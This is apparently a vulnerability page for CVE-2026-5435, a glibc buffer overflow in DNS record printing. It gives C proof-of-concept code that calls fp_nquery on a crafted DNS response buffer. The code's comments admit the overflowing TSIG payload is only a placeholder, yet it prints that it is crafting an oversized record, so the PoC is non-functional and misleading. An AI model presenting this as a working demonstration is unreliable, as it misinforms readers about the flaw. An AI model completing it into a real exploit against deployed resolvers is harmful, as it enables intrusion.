CVE-2026-5435 GNU C Library 缓冲区溢出漏洞

/* * PoC Code for CVE-2026-5435 * This demonstrates triggering the buffer overflow in vulnerable glibc functions * by crafting a TSIG record that exceeds the buffer limit. */ #include <resolv.h> #include <stdio.h> #include <stdlib.h> #include <string.h> int main() { // Simulate a DNS response buffer containing a malicious TSIG record unsigned char malicious_packet[1024]; memset(malicious_packet, 0, sizeof(malicious_packet)); // Setup a basic DNS header (simplified) HEADER *dns_hdr = (HEADER *)malicious_packet; dns_hdr->id = htons(1234); dns_hdr->qr = 1; // Response dns_hdr->ancount = htons(1); // One answer (the TSIG) // In a real exploit, specific TSIG record bytes would be crafted here // to overflow the buffer used by ns_printrrf/fp_nquery. // This is a placeholder for the actual payload structure. printf("[+] Crafting packet with oversized TSIG record...\n"); // Trigger the vulnerable function // fp_nquery calls ns_printrrf internally FILE *output = fopen("/dev/null", "w"); if (output) { printf("[+] Calling fp_nquery (vulnerable function)...\n"); // This call may cause an out-of-bounds write if the packet is malformed fp_nquery(malicious_packet, sizeof(malicious_packet), output); fclose(output); } return 0; }